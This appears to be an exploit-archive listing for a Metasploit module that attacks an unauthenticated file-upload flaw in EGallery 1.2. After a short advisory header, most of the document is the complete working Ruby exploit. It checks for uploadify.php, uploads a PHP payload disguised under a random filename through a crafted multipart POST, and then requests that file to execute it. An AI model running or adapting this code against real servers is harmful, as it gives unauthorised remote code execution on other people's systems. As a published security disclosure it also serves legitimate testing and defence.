Exploit the possiblities

EGallery PHP File Upload Vulnerability

EGallery PHP File Upload Vulnerability
Posted Jul 23, 2012
Authored by Sammy FORGIT, juan | Site metasploit.com

This Metasploit module exploits a vulnerability found in EGallery 1.2 By abusing the uploadify.php file, a malicious user can upload a file to the egallery/ directory without any authentication, which results in arbitrary code execution. The module has been tested successfully on Ubuntu 10.04.

tags | exploit, arbitrary, php, code execution
systems | linux, ubuntu
advisories | OSVDB-83891
MD5 | 95885aafd89fb4191f4ba1c513063adf

EGallery PHP File Upload Vulnerability

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "EGallery PHP File Upload Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in EGallery 1.2 By abusing the
uploadify.php file, a malicious user can upload a file to the egallery/ directory
without any authentication, which results in arbitrary code execution. The module
has been tested successfully on Ubuntu 10.04.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Sammy FORGIT', # Discovery, PoC
'juan' # Metasploit module
],
'References' =>
[
['OSVDB', '83891'],
['BID', '54464'],
['URL', 'http://www.opensyscom.fr/Actualites/egallery-arbitrary-file-upload-vulnerability.html']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['EGallery 1.2', {}]
],
'Privileged' => false,
'DisclosureDate' => "Jul 08 2012",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to EGallery', '/sample'])
], self.class)
end

def check
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'

res = send_request_cgi({
'method' => 'GET',
'uri' => "#{uri}egallery/uploadify.php"
})

if res and res.code == 200 and res.body.empty?
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end

def exploit
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'

peer = "#{rhost}:#{rport}"
payload_name = rand_text_alpha(rand(10) + 5) + '.php'
boundary = Rex::Text.rand_text_hex(7)

post_data = "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"Filename\"\r\n\r\n"
post_data << "#{payload_name}\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"folder\"\r\n\r\n"
post_data << "#{uri}\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{payload_name}\"\r\n\r\n"
post_data << "<?php "
post_data << payload.encoded
post_data << " ?>\r\n"
post_data << "--#{boundary}--\r\n"

print_status("#{peer} - Sending PHP payload (#{payload_name})")
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}egallery/uploadify.php",
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data
})

# If the server returns 200 and the body contains our payload name,
# we assume we uploaded the malicious file successfully
if not res or res.code != 200 or res.body !~ /#{payload_name}/
print_error("#{peer} - File wasn't uploaded, aborting!")
return
end

print_status("#{peer} - Executing PHP payload (#{payload_name})")
# Execute our payload
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{uri}#{payload_name}"
})

# If we don't get a 200 when we request our malicious payload, we suspect
# we don't have a shell, either. Print the status code for debugging purposes.
if res and res.code != 200
print_status("#{peer} - Server returned #{res.code.to_s}")
end
end

end

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